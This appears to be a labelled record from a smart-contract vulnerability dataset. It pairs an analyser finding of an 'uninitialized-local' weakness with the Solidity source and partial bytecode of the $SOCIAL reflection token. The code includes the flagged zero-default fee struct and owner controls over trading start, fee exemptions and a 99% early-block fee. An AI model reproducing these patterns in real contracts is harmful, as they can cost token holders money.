{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,848
0x82e56445f3f2fab317098f242c8bf4c56785eb02
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; address private immutable _CACHED_THIS; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _CACHED_THIS = address(this); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth is Context { address internal owner; constructor(address _owner) { owner = _owner; } /** * Function modifier to require caller to be owner */ modifier onlyOwner() { require(_msgSender() == owner, "!OWNER"); _; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner; } /** * Transfer ownership to new address. Caller must be owner. */ function transferOwnership(address payable adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract $SOCIAL is Context, IERC20, Auth, EIP712 { string private constant NAME = "SocialDAO"; string private constant SYMBOL = "$SOCIAL"; uint8 private constant DECIMALS = 9; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant MAX_SUPPLY = 1e12 * 1e9; // 1T Supply uint256 private constant R_MAX = (MAX - (MAX % MAX_SUPPLY)); // for DAO uint256 public constant AMOUNT_DAO_PERC = 20; // for staking uint256 public constant AMOUNT_STAKING_PERC = 10; // for liquidity providers uint256 public constant AMOUNT_LP_PERC = 20; uint256 private _tTotal = (MAX_SUPPLY/100) * (AMOUNT_DAO_PERC + AMOUNT_STAKING_PERC + AMOUNT_LP_PERC); uint256 private _rTotal = (R_MAX/100) * (AMOUNT_DAO_PERC + AMOUNT_STAKING_PERC + AMOUNT_LP_PERC); bool private inSwap = false; bool private _startTxn; uint32 private _initialBlocks; uint104 private swapLimit = uint104(MAX_SUPPLY / 1000); uint104 private _tOwnedBurnAddress; uint256 private constant STAKING_BLOCKS_COUNT = 6450 * 5; //5 days struct Airdrop { uint128 blockNo; uint128 amount; } mapping(address => Airdrop) private _airdrop; mapping(bytes32 => bool) private _claimedHash; struct FeeBreakdown { uint256 tTransferAmount; uint256 tMaintenance; uint256 tReflection; } struct Fee { uint64 buyMaintenanceFee; uint64 buyReflectionFee; uint64 sellMaintenanceFee; uint64 sellReflectionFee; } Fee private _buySellFee = Fee(8,2,8,2); address payable private _maintenanceAddress; address private _csigner; address payable constant private BURN_ADDRESS = payable(0x000000000000000000000000000000000000dEaD); IUniswapV2Router02 private immutable uniswapV2Router; address public immutable uniswapV2Pair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } address private immutable WETH; bytes32 private constant AIRDROP_CALL_HASH_TYPE = keccak256("airdrop(address receiver,uint256 amount)"); constructor(address addrDAO, address addrStaking, address addrLP, address maintainer, address signer) Auth(_msgSender()) EIP712(SYMBOL, "1") { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), MAX_SUPPLY); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), WETH); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), MAX); _maintenanceAddress = payable(maintainer); //Initial distribution _rOwned[addrDAO] = (R_MAX/100) * AMOUNT_DAO_PERC; _rOwned[addrStaking] = (R_MAX/100) * AMOUNT_STAKING_PERC; _rOwned[addrLP] = (R_MAX/100) * AMOUNT_LP_PERC; _isExcludedFromFee[addrDAO] = true; _isExcludedFromFee[addrStaking] = true; _isExcludedFromFee[addrLP] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[maintainer] = true; _csigner = signer; emit Transfer(address(0), addrDAO, MAX_SUPPLY * AMOUNT_DAO_PERC / 100); emit Transfer(address(0), addrStaking, MAX_SUPPLY * AMOUNT_STAKING_PERC / 100); emit Transfer(address(0), addrLP, MAX_SUPPLY * AMOUNT_LP_PERC / 100); } function name() override external pure returns (string memory) {return NAME;} function symbol() override external pure returns (string memory) {return SYMBOL;} function decimals() override external pure returns (uint8) {return DECIMALS;} function totalSupply() external view override returns (uint256) {return _tTotal;} function balanceOf(address account) external view override returns (uint256) {return tokenFromReflection(_rOwned[account]);} function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount/currentRate; } function getFee(bool initialBlocks) internal view returns (Fee memory) { return initialBlocks ? Fee(99,0,99,0) : _buySellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0) && to != address(0), "ERC20: transfer involving the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(_startTxn || _isExcludedFromFee[to] || _isExcludedFromFee[from], "Transfers not allowed"); Fee memory currentFee; if (from == uniswapV2Pair && !_isExcludedFromFee[to]) { currentFee = getFee(block.number <= _initialBlocks); } else if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from]) { //sells, transfers (except for buys) currentFee = getFee(block.number <= _initialBlocks); if (swapLimit > 0 && tokenFromReflection(_rOwned[address(this)]) > swapLimit) { _convertTokensForFee(swapLimit); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) _distributeFee(contractETHBalance); } _tokenTransfer(from, to, amount, currentFee); } function _convertTokensForFee(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, _maintenanceAddress, block.timestamp); } function _distributeFee(uint256 amount) private { _maintenanceAddress.transfer(amount); } function startTxn(uint32 initialBlocks) external onlyOwner { require(!_startTxn && initialBlocks < 100, "Already started or block count too long"); _startTxn = true; _initialBlocks = uint32(block.number) + initialBlocks; } function triggerSwap(uint256 perc) external onlyOwner { _convertTokensForFee(tokenFromReflection(_rOwned[address(this)]) * perc / 100); } function collectFee() external onlyOwner { _distributeFee(address(this).balance); } function _tokenTransfer(address sender, address recipient, uint256 amount, Fee memory currentFee) private { if (sender == uniswapV2Pair){ _transferStandardBuy(sender, recipient, amount, currentFee); } else { _transferStandardSell(sender, recipient, amount, currentFee); } } function _transferStandardBuy(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 rMaintenance) = _getValuesBuy(tAmount, currentFee); _rOwned[sender] -= rAmount; _rOwned[recipient] += rTransferAmount; _rOwned[address(this)] += rMaintenance; _rTotal -= rReflection; emit Transfer(sender, recipient, tTransferAmount); } function _transferStandardSell(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 rMaintenance) = _getValuesSell(tAmount, currentFee); Airdrop memory airdrop = _airdrop[sender]; uint256 rOwnedSender = _rOwned[sender]; if (airdrop.blockNo > block.number) { require(rAmount <= rOwnedSender - airdrop.amount * ((airdrop.blockNo - block.number) * (rAmount / tAmount) / STAKING_BLOCKS_COUNT), "Tokens locked for staking"); } _rOwned[sender] = rOwnedSender - rAmount; _rOwned[recipient] += rTransferAmount; _rOwned[address(this)] += rMaintenance; if (recipient == BURN_ADDRESS) { _tOwnedBurnAddress += uint104(tTransferAmount); } _rTotal -= rReflection; emit Transfer(sender, recipient, tTransferAmount); } function _getValuesBuy(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256) { FeeBreakdown memory buyFees; (buyFees.tTransferAmount, buyFees.tMaintenance, buyFees.tReflection) = _getTValues(tAmount, currentFee.buyMaintenanceFee, currentFee.buyReflectionFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 rMaintenance) = _getRValues(tAmount, buyFees.tMaintenance, buyFees.tReflection, currentRate); return (rAmount, rTransferAmount, rReflection, buyFees.tTransferAmount, rMaintenance); } function _getValuesSell(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256) { FeeBreakdown memory sellFees; (sellFees.tTransferAmount, sellFees.tMaintenance, sellFees.tReflection) = _getTValues(tAmount, currentFee.sellMaintenanceFee, currentFee.sellReflectionFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 rMaintenance) = _getRValues(tAmount, sellFees.tMaintenance, sellFees.tReflection, currentRate); return (rAmount, rTransferAmount, rReflection, sellFees.tTransferAmount, rMaintenance); } function _getTValues(uint256 tAmount, uint256 maintenanceFee, uint256 reflectionFee) private pure returns (uint256, uint256, uint256) { uint256 tMaintenance = tAmount * maintenanceFee / 100; uint256 tReflection = tAmount * reflectionFee / 100; uint256 tTransferAmount = tAmount - tMaintenance - tReflection; return (tTransferAmount, tMaintenance, tReflection); } function _getRValues(uint256 tAmount, uint256 tMaintenance, uint256 tReflection, uint256 currentRate) private pure returns (uint256, uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rMaintenance = tMaintenance * currentRate; uint256 rReflection = tReflection * currentRate; uint256 rTransferAmount = rAmount - rMaintenance - rReflection; return (rAmount, rTransferAmount, rReflection, rMaintenance); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; uint256 rOwnedBurnAddress = _rOwned[BURN_ADDRESS]; uint256 tOwnedBurnAddress = _tOwnedBurnAddress; if (rOwnedBurnAddress > rSupply || tOwnedBurnAddress > tSupply || (rSupply / tSupply) > (rSupply - rOwnedBurnAddress) ) return (rSupply, tSupply); return (rSupply - rOwnedBurnAddress, tSupply - tOwnedBurnAddress); } function setIsExcludedFromFee(address account, bool toggle) external onlyOwner { _isExcludedFromFee[account] = toggle; } function updateSwapLimit(uint104 amount) external onlyOwner { swapLimit = amount; } function updateFeeReceiver(address payable maintenanceAddress) external onlyOwner { _maintenanceAddress = maintenanceAddress; _isExcludedFromFee[maintenanceAddress] = true; } function updateSigner(address signer) external onlyOwner { _csigner = signer; } receive() external payable {} function updateTaxes(Fee memory fees) external onlyOwner { require((fees.buyMaintenanceFee + fees.buyReflectionFee < 20) && (fees.sellMaintenanceFee + fees.sellReflectionFee < 20), "Fees must be less than 20%"); _buySellFee = fees; } function recoverStuckTokens(address addr, uint256 amount) external onlyOwner { IERC20(addr).transfer(_msgSender(), amount); } function airdropCollectedByAddress(address account) public view returns (Airdrop memory) { return _airdrop[account]; } function airdropCollectedByHash(bytes32 hash) public view returns (bool) { return _claimedHash[hash]; } function claim(bytes32 hash, uint256 amount, uint8 v, bytes32 r, bytes32 s) external { require(!_claimedHash[hash] && _airdrop[_msgSender()].blockNo == 0, "$SOCIAL: Claimed"); uint256 claimAmount = amount * (10 ** DECIMALS); require(_tTotal + claimAmount <= MAX_SUPPLY, "$SOCIAL: Exceed max supply"); bytes32 digest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hashTypedDataV4(keccak256(abi.encode(AIRDROP_CALL_HASH_TYPE, hash, _msgSender(), amount))) )); require(ecrecover(digest, v, r, s) == _csigner, "$SOCIAL: Invalid signer"); _airdropTokens(hash, _msgSender(), uint128(claimAmount)); } function _airdropTokens(bytes32 hash, address account, uint128 amount) internal virtual { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 rMaintenance) = _getValuesBuy(amount, _buySellFee); _airdrop[account].blockNo = uint128(block.number + STAKING_BLOCKS_COUNT); _airdrop[account].amount = uint128(tTransferAmount); _claimedHash[hash] = true; _tTotal += amount; _rOwned[address(this)] += rMaintenance; _rTotal = _rTotal + rAmount - rReflection; _rOwned[account] += rTransferAmount; emit Transfer(address(0), account, tTransferAmount); } function vestedTokens(address account) public view returns (uint256 tokenBalance, uint256 tTokenVested, uint256 vestingBlocks) { Airdrop memory airdrop = _airdrop[account]; tokenBalance = tokenFromReflection(_rOwned[account]); tTokenVested = tokenBalance; vestingBlocks = 0; if (airdrop.blockNo > block.number) { uint256 rTokenVested = _rOwned[account] - airdrop.amount * (((airdrop.blockNo - block.number) * _getRate()) / STAKING_BLOCKS_COUNT); tTokenVested = tokenFromReflection(rTokenVested); vestingBlocks = airdrop.blockNo - block.number; } return (tokenBalance, tTokenVested, vestingBlocks); } }
0x6080604052600436106101bb5760003560e01c8063c596f3fe116100ec578063ef422a181161008a578063f2fde38b11610064578063f2fde38b14610620578063f4c53cdb14610640578063f5d4528314610523578063f8e5884b1461065557600080fd5b8063ef422a1814610538578063efabd85814610558578063f2a4e37d1461058857600080fd5b8063d4d5d32a116100c6578063d4d5d32a146104a8578063dd62ed3e146104bd578063e406393a14610503578063ee21422d1461052357600080fd5b8063c596f3fe14610448578063c69bebe414610468578063cba5c9181461048857600080fd5b80633dee03971161015957806395d89b411161013357806395d89b41146103a2578063a7ecd37e146103e8578063a9059cbb14610408578063c4bd2b051461042857600080fd5b80633dee0397146102fb57806349bd5a5e1461033657806370a082311461038257600080fd5b806318160ddd1161019557806318160ddd1461027157806323b872dd146102905780632f54bf6e146102b0578063313ce567146102df57600080fd5b806306fdde03146101c7578063095ea7b31461021f578063129217581461024f57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600981527f536f6369616c44414f000000000000000000000000000000000000000000000060208201525b60405161021691906123a0565b60405180910390f35b34801561022b57600080fd5b5061023f61023a36600461240a565b610675565b6040519015158152602001610216565b34801561025b57600080fd5b5061026f61026a366004612436565b61068c565b005b34801561027d57600080fd5b506004545b604051908152602001610216565b34801561029c57600080fd5b5061023f6102ab366004612485565b61091d565b3480156102bc57600080fd5b5061023f6102cb3660046124c6565b6000546001600160a01b0391821691161490565b3480156102eb57600080fd5b5060405160098152602001610216565b34801561030757600080fd5b5061031b6103163660046124c6565b6109dc565b60408051938452602084019290925290820152606001610216565b34801561034257600080fd5b5061036a7f000000000000000000000000341a36f607cfec6dad3a634d8137a6f775b11beb81565b6040516001600160a01b039091168152602001610216565b34801561038e57600080fd5b5061028261039d3660046124c6565b610af5565b3480156103ae57600080fd5b5060408051808201909152600781527f24534f4349414c000000000000000000000000000000000000000000000000006020820152610209565b3480156103f457600080fd5b5061026f6104033660046124c6565b610b17565b34801561041457600080fd5b5061023f61042336600461240a565b610b92565b34801561043457600080fd5b5061026f6104433660046124e3565b610b9f565b34801561045457600080fd5b5061026f61046336600461240a565b610cd4565b34801561047457600080fd5b5061026f6104833660046124c6565b610dbe565b34801561049457600080fd5b5061026f6104a3366004612526565b610e51565b3480156104b457600080fd5b5061026f610fce565b3480156104c957600080fd5b506102826104d83660046125b1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561050f57600080fd5b5061026f61051e3660046125ea565b611025565b34801561052f57600080fd5b50610282601481565b34801561054457600080fd5b5061026f610553366004612627565b6110bb565b34801561056457600080fd5b5061023f610573366004612655565b60009081526008602052604090205460ff1690565b34801561059457600080fd5b506105f96105a33660046124c6565b6040805180820190915260008082526020820152506001600160a01b03166000908152600760209081526040918290208251808401909352546001600160801b038082168452600160801b909104169082015290565b6040805182516001600160801b039081168252602093840151169281019290925201610216565b34801561062c57600080fd5b5061026f61063b3660046124c6565b611132565b34801561064c57600080fd5b50610282600a81565b34801561066157600080fd5b5061026f610670366004612655565b6111df565b6000610682338484611269565b5060015b92915050565b60008581526008602052604090205460ff161580156106c15750336000908152600760205260409020546001600160801b0316155b6107125760405162461bcd60e51b815260206004820152601060248201527f24534f4349414c3a20436c61696d65640000000000000000000000000000000060448201526064015b60405180910390fd5b60006107206009600a612768565b61072a9086612777565b9050683635c9adc5dea00000816004546107449190612796565b11156107925760405162461bcd60e51b815260206004820152601a60248201527f24534f4349414c3a20457863656564206d617820737570706c790000000000006044820152606401610709565b60006107ff7fb01451209fc457109231228824fc8bf1c5bd43328de897164a4c809a6085770688336040805160208101949094528301919091526001600160a01b031660608201526080810188905260a001604051602081830303815290604052805190602001206113c1565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c810191909152605c0160408051808303601f190181528282528051602091820120600b546000855291840180845281905260ff89169284019290925260608301879052608083018690529092506001600160a01b03169060019060a0016020604051602081039080840390855afa1580156108a9573d6000803e3d6000fd5b505050602060405103516001600160a01b0316146109095760405162461bcd60e51b815260206004820152601760248201527f24534f4349414c3a20496e76616c6964207369676e65720000000000000000006044820152606401610709565b610914873384611423565b50505050505050565b600061092a8484846115c4565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156109c45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e63650000000000000000000000000000000000000000000000006064820152608401610709565b6109d18533858403611269565b506001949350505050565b6001600160a01b03811660008181526007602090815260408083208151808301835290546001600160801b038082168352600160801b9091041681840152938352600190915281205490918291829190610a3590611947565b9350839250600091504381600001516001600160801b03161115610aed576000617dfa610a606119de565b8351610a769043906001600160801b03166127ae565b610a809190612777565b610a8a91906127c5565b82602001516001600160801b0316610aa29190612777565b6001600160a01b038716600090815260016020526040902054610ac591906127ae565b9050610ad081611947565b8251909450610ae99043906001600160801b03166127ae565b9250505b509193909250565b6001600160a01b03811660009081526001602052604081205461068690611947565b6000546001600160a01b0316336001600160a01b031614610b635760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b600b805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60006106823384846115c4565b6000546001600160a01b0316336001600160a01b031614610beb5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b600654610100900460ff16158015610c09575060648163ffffffff16105b610c7b5760405162461bcd60e51b815260206004820152602760248201527f416c72656164792073746172746564206f7220626c6f636b20636f756e74207460448201527f6f6f206c6f6e67000000000000000000000000000000000000000000000000006064820152608401610709565b600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055610cb181436127e7565b600660026101000a81548163ffffffff021916908363ffffffff16021790555050565b6000546001600160a01b0316336001600160a01b031614610d205760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b6001600160a01b03821663a9059cbb336040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610d95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db9919061280f565b505050565b6000546001600160a01b0316336001600160a01b031614610e0a5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b600a80546001600160a01b0390921673ffffffffffffffffffffffffffffffffffffffff19909216821790556000908152600360205260409020805460ff19166001179055565b6000546001600160a01b0316336001600160a01b031614610e9d5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b60208101518151601491610eb09161282c565b67ffffffffffffffff16108015610ee45750601481606001518260400151610ed8919061282c565b67ffffffffffffffff16105b610f305760405162461bcd60e51b815260206004820152601a60248201527f46656573206d757374206265206c657373207468616e203230250000000000006044820152606401610709565b8051600980546020840151604085015160609095015167ffffffffffffffff908116600160c01b0277ffffffffffffffffffffffffffffffffffffffffffffffff968216600160801b02969096166001600160801b0392821668010000000000000000027fffffffffffffffffffffffffffffffff000000000000000000000000000000009094169190951617919091171691909117919091179055565b6000546001600160a01b0316336001600160a01b03161461101a5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b61102347611a01565b565b6000546001600160a01b0316336001600160a01b0316146110715760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b600680546cffffffffffffffffffffffffff9092166601000000000000027fffffffffffffffffffffffffff00000000000000000000000000ffffffffffff909216919091179055565b6000546001600160a01b0316336001600160a01b0316146111075760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b0316336001600160a01b03161461117e5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b6000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6000546001600160a01b0316336001600160a01b03161461122b5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610709565b3060009081526001602052604090205461126690606490839061124d90611947565b6112579190612777565b61126191906127c5565b611a3f565b50565b6001600160a01b0383166112e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610709565b6001600160a01b0382166113605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610709565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006113cb611b96565b6040517f19010000000000000000000000000000000000000000000000000000000000006020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050919050565b6040805160808101825260095467ffffffffffffffff808216835268010000000000000000820481166020840152600160801b8204811693830193909352600160c01b90049091166060820152600090819081908190819061148f906001600160801b03881690611cbd565b94509450945094509450617dfa436114a79190612796565b6001600160a01b03881660009081526007602090815260408083206001600160801b03948516600160801b888716021790558b8352600890915281208054600160ff199091161790556004805492891692909190611506908490612796565b9091555050306000908152600160205260408120805483929061152a908490612796565b9091555050600554839061153f908790612796565b61154991906127ae565b6005556001600160a01b03871660009081526001602052604081208054869290611574908490612796565b90915550506040518281526001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050505050565b6001600160a01b038316158015906115e457506001600160a01b03821615155b6116565760405162461bcd60e51b815260206004820152602a60248201527f45524332303a207472616e7366657220696e766f6c76696e6720746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610709565b600081116116cc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f00000000000000000000000000000000000000000000006064820152608401610709565b600654610100900460ff16806116fa57506001600160a01b03821660009081526003602052604090205460ff165b8061171d57506001600160a01b03831660009081526003602052604090205460ff165b6117695760405162461bcd60e51b815260206004820152601560248201527f5472616e7366657273206e6f7420616c6c6f77656400000000000000000000006044820152606401610709565b6040805160808101825260008082526020820181905291810182905260608101919091527f000000000000000000000000341a36f607cfec6dad3a634d8137a6f775b11beb6001600160a01b0316846001600160a01b03161480156117e757506001600160a01b03831660009081526003602052604090205460ff16155b1561180e576006546118079062010000900463ffffffff16431115611d60565b9050611935565b60065460ff1615801561185357507f000000000000000000000000341a36f607cfec6dad3a634d8137a6f775b11beb6001600160a01b0316846001600160a01b031614155b801561187857506001600160a01b03841660009081526003602052604090205460ff16155b15611935576006546118989062010000900463ffffffff16431115611d60565b600654909150660100000000000090046cffffffffffffffffffffffffff16158015906118f957506006543060009081526001602052604090205466010000000000009091046cffffffffffffffffffffffffff16906118f790611947565b115b156119235760065461192390660100000000000090046cffffffffffffffffffffffffff16611a3f565b4780156119335761193381611a01565b505b61194184848484611e04565b50505050565b60006005548211156119c15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201527f65666c656374696f6e73000000000000000000000000000000000000000000006064820152608401610709565b60006119cb6119de565b90506119d781846127c5565b9392505050565b60008060006119eb611e5b565b90925090506119fa81836127c5565b9250505090565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a3b573d6000803e3d6000fd5b5050565b6006805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611a8157611a8161284f565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611ad557611ad561284f565b6001600160a01b039283166020918202929092010152600a546040517f791ac9470000000000000000000000000000000000000000000000000000000081527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d83169263791ac94792611b5692879260009288929116904290600401612865565b600060405180830381600087803b158015611b7057600080fd5b505af1158015611b84573d6000803e3d6000fd5b50506006805460ff1916905550505050565b6000306001600160a01b037f00000000000000000000000082e56445f3f2fab317098f242c8bf4c56785eb0216148015611bef57507f000000000000000000000000000000000000000000000000000000000000000146145b15611c1957507f877e5f8278345bb9705e2bb877d81084db6a0d8866a90988f5f277d7294212ab90565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527fbd9242123b3b00b0ec17071e561bc40012c98e230f0b76722721928d8b69e8aa828401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b6000806000806000611ce960405180606001604052806000815260200160008152602001600081525090565b611d1088886000015167ffffffffffffffff16896020015167ffffffffffffffff16611f1b565b6040840152602083015281526000611d266119de565b9050600080600080611d428d8760200151886040015188611f79565b9851929d50909b509950975094955050505050509295509295909350565b60408051608081018252600080825260208201819052918101829052606081019190915281611ddb576040805160808101825260095467ffffffffffffffff808216835268010000000000000000820481166020840152600160801b8204811693830193909352600160c01b90049091166060820152610686565b505060408051608081018252606380825260006020830181905292820152606081019190915290565b7f000000000000000000000000341a36f607cfec6dad3a634d8137a6f775b11beb6001600160a01b0316846001600160a01b03161415611e4f57611e4a84848484611fd3565b611941565b611941848484846120e3565b60055460045461dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5460065491938493909290919073010000000000000000000000000000000000000090046cffffffffffffffffffffffffff1683821180611ecf57508281115b80611eeb5750611edf82856127ae565b611ee984866127c5565b115b15611efb57509194909350915050565b611f0582856127ae565b611f0f82856127ae565b95509550505050509091565b60008080806064611f2c8789612777565b611f3691906127c5565b905060006064611f46878a612777565b611f5091906127c5565b9050600081611f5f848b6127ae565b611f6991906127ae565b9992985090965090945050505050565b600080808080611f89868a612777565b90506000611f97878a612777565b90506000611fa5888a612777565b9050600081611fb484866127ae565b611fbe91906127ae565b939c939b509099509097509095505050505050565b6000806000806000611fe58787611cbd565b6001600160a01b038e1660009081526001602052604081208054969b509499509297509095509350879261201a9084906127ae565b90915550506001600160a01b03881660009081526001602052604081208054869290612047908490612796565b9091555050306000908152600160205260408120805483929061206b908490612796565b92505081905550826005600082825461208491906127ae565b92505081905550876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120d091815260200190565b60405180910390a3505050505050505050565b600080600080600061